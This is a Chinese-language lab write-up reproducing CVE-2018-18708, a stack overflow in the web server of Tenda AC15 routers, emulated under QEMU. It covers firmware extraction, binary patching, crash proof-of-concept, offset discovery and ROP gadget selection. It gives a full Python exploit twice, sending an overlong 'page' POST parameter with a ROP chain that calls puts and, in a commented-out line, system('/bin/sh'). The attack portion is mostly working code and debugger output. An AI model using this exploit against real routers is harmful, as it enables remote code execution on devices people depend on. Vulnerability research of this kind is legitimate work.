0x00 写在前面

本实验是对 CVE-2018-18708 漏洞的调试分析和复现,所有实验过程均在本地搭建的虚拟机中进行。通过该实验比较深入地理解了该漏洞的成因和利用过程。

请严格遵守所在地法律法规。

0x01 环境搭建

本次调试是在 Ubuntu18.04 环境下,借助 qemu-arm-static进行的,调试使用 gdbida 结合着。

环境搭建过程与上一篇博文《CVE-2018-5767调试复现分析》相似,很多操作都一样,这里就简写了。

首先访问 tenda 官网的下载中心 然后搜素版本 AC15 V15. 并下载固件,下载完毕后,在虚拟机中进行解压。

解压后使用 binwalk 提取固件

1
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

然后找到存在漏洞的文件

1
2
3
cd xxx.bin.extracted/squashfs-root
cp $(which qemu-arm-static) ./
sudo chroot . ./qemu-arm-static ./bin/httpd

然后尝试启动这个程序,

尝试运行

程序停止了,这是由于 qemu 的模拟有些不健全,所以需要简单 patch 一下。通过将 httpd 在 ida 中打开后,全局搜索字符串 Welcome to 然后定位到下面这个地方,需要将红框中的两个指令 patch 掉。

查看环境检测

成功 patch 之后的控制流如下,让比较恒成立。

patch控制流之后

两处都要 patch 然后保存

保存 patch

然后将 httpd 拷贝进去进行替换原始文件并添加权限即可。

因为这里我在之前已经配置好了网络,所以直接就成功了,否则请查看之前的博文配置一下环境

成功运行

但是这里要进行 http 的直接访问还有点问题,不过这个无伤大雅,似乎不需要 web 界面的访问即可。

web页面访问出错

发送这个错误的原因是文件不存在,只需要将对应的文件夹告诉它即可。

1
2
rm -rf webroot
sudo ln -s webroot_ro/ webroot

然后再刷新页面即可成功访问。

web访问成功

0x02 漏洞分析

查看 nvd 的描述,可以得知问题点出在函数 fromAddressNat 中,其在处理 POST 传递过来的 page 参数时不当,这个值会直接传递到函数 sprintf 中的一个局部变量中,然后就会造成栈溢出。

An issue was discovered on Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN, and AC18 V15.03.05.19(6318)_CN devices. It is a buffer overflow vulnerability in the router’s web server — httpd. When processing the “page” parameter of the function “fromAddressNat” for a post request, the value is directly used in a sprintf to a local variable placed on the stack, which overrides the return address of the function.

所以我们直接在 ida 中搜索函数 fromAddressNat 找到漏洞点,可以看到对应的参数 v7 应该就是描述的 page 参数,前面的路径就对应相应的路由。

这里我就懒得去一步一步分析控制流找到这个参数具体是哪部分受控的,我们直接简单粗暴,往这个接口中灌入很长的 page 参数,观测程序是否崩溃来看我们是否能正常触发这个接口,如果不能再进一步调试找条件。

漏洞函数fromAddressNat

于是,根据上面的路径可以很容易生成一个相应的 POST 请求。

0x03 漏洞调试

先运行一个 poc 观测程序崩溃

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
from pwn import p32

URL = "http://192.168.254.201:80/goform/addressNat"

cookie = {"Cookie":"password=RonRon"}
payload = b"page="+b"a"*1024

requests.post(url=URL, cookies=cookie, data=payload)

这里每次程序 poc 程序都要运行两次才会触发,我也不清楚为啥,但是不影响使用。

程序崩溃

然后观测程序的行为,在一个终端中以可调试方式启动

1
sudo chroot ./ ./qemu-arm-static -L ./ -g 1234 ./bin/httpd

再开一个终端执行

1
2
3
gdb-multiarch ./bin/httpd

pwndbg> target remote :1234

调试运行

然后输入 c 后程序可以继续执行,说明我们可以正常进行调试。

输入c正常调试

使用 cyclic 生成可定位 payload

使用可定位 payload

然后找到 fromAddressNat 退出时的偏移,用于下断点,观测溢出覆盖情况。

fromAddressNat退出偏移

下断点

1
b *0x0007A0CC

然后以调试方式执行程序,运行可定位的 poc ,此时可以观测到程序停下的指令和栈中的数据。

执行可定位poc

然后慢慢走,在崩溃前停下来 于是可以发现 pc 对应的是 laac ,所以我们定位 laac 的偏移即可找到控制流劫持位置的偏移。

这里刚好 lascii 码是 0x6c 最后一位是 0,所以没有看到异样。但其实这里是有一个切换的,这是 arm 指令集的原因。

查看到劫持pc的数据

然后找到对应的偏移是 244

image-20241209162514771

然后检测保护情况,可以发现只开了 NX 所以 ROP 即可。

image-20241209163053266

这里采用无 ASLR 利用,使用 libc 中的 rop gadgets 通过下面两个形成的链即可。

1
2
3
4
ROPgadget --binary ./lib/libc.so.0 --only 'mov|blx'
# 0x00040cb8 : mov r0, r8 ; blx r3
ROPgadget --binary ./lib/libc.so.0 --only 'pop'
# 0x00018298 : pop {r3, pc}

mov_r0_sp

pop_r3_pc

然后尝试找 libc 的基地址,但是直接 vmmap 啥都看不到,所以我们通过 strcmp 手动计算。

vmmap失败和strcmp地址

idx 中打开 libc.so.0 找到 strcmp 的偏移 0x3e010

你也可以使用 pwntools 中的 ELF 来查看符号表,一样的。

strcmp偏移

然后得到 libc_base = 0xff58c000

libc_base

于是可以构建一个 exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
from pwn import p32

URL = "http://192.168.254.201:80/goform/addressNat"

base = 0xff58c000
puts = base+0x35CD4
system = base+0x5A270

_str = b"Hello, Ron on CVE-2018-18708\x00"
cmd = b"/bin/sh\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};

print("puts:", hex(puts))
print("mov_r0:", hex(mov_r0))
print("pop_r3: ", hex(pop_r3))

cookie = {"Cookie":"password=RonRon"}
payload = b"page="+b"a"*244+b"bbbb"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
#payload = b"page="+b"a"*244+b"cccc"+p32(pop_r3)+p32(system)+p32(mov_r0)+cmd
requests.post(url=URL, cookies=cookie, data=payload)

这里解释一下,通过调试对栈进行观测后,当程序执行溢出后,会来到 pop_r3 处(pop {r3, pc}),此时会将栈中两个数据进行出栈,即 puts 会被弹出到达 r3mov_r0 会被弹出到达 pc ;而后就是执行 mov r0, sp; blx r3 于是 r0 会指向当前的栈顶,即 _str 的位置,然后再执行 blx r3 即跳转到 r3 所指向的函数进行执行,而 arm 的传参规则为 r0 是函数的第一个参数,所以成功将 _str 作为 r3 处的 puts 函数的参数传入并执行了。

然后重新开始调试

1
2
3
target remote :1234
b *0x0007A0CC
c

程序刚溢出后,在退出函数 fromAddressNat

程序刚溢出后

然后 puts 函数会压在 r3 中去,然后 pc 会变成 mov r0, sp

劫持控制流到pop_r3

这一步之后将会让 r0sp 相等,即 r0 指向栈顶,而栈顶是我们放置好的数据

设置r0

armr0 就是第一个参数,因此通过上述操作,r0 已经指向了栈顶我们放置的数据,即我们已经完成了函数参数的布置。而此时指令 blx r3 的执行即将控制流跳转到 r3 所指向的函数进行执行,即我们这里设定的 puts 函数,同时将返回地址保存到了 lr 中。

完成劫持控制流

于是再 ni 一步,我们将看到 puts 函数执行完毕,在终端打印了我们希望打印的 abcd

puts执行成功

在上面成功后,只需要简单将 puts 函数替换成 system 函数即可,但是我们可以看到,其实是不成功的,这里也和之前的那个一样,据说是由于 qemu 模拟不健全,无法执行 system("/bin/sh")

如下图所示,可以看到,参数 /bin/sh 已经成功放置在 r0 处,同时函数 system 也已经在 r3 处待命。虽然一切如预期,应该会成功,但是程序就是不会成功。

布置system及参数

然后 c 程序就崩溃了。

程序崩溃

0x04 内存布局变化图

最终在调试过程中的一些关键位置时的内存变化图如下

内存布局图

0x05 exp

这个能打印,但是 system 跑不起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
from pwn import p32

URL = "http://192.168.254.201:80/goform/addressNat"

base = 0xff58c000
puts = base+0x35CD4
system = base+0x5A270

_str = b"Hello, Ron on CVE-2018-18708\x00"
cmd = b"/bin/sh\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};

print("puts:", hex(puts))
print("mov_r0:", hex(mov_r0))
print("pop_r3: ", hex(pop_r3))

cookie = {"Cookie":"password=RonRon"}
payload = b"page="+b"a"*244+b"bbbb"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
#payload = b"page="+b"a"*244+b"cccc"+p32(pop_r3)+p32(system)+p32(mov_r0)+cmd
requests.post(url=URL, cookies=cookie, data=payload)

0x06 参考链接

NVD: https://nvd.nist.gov/vuln/detail/cve-2018-18708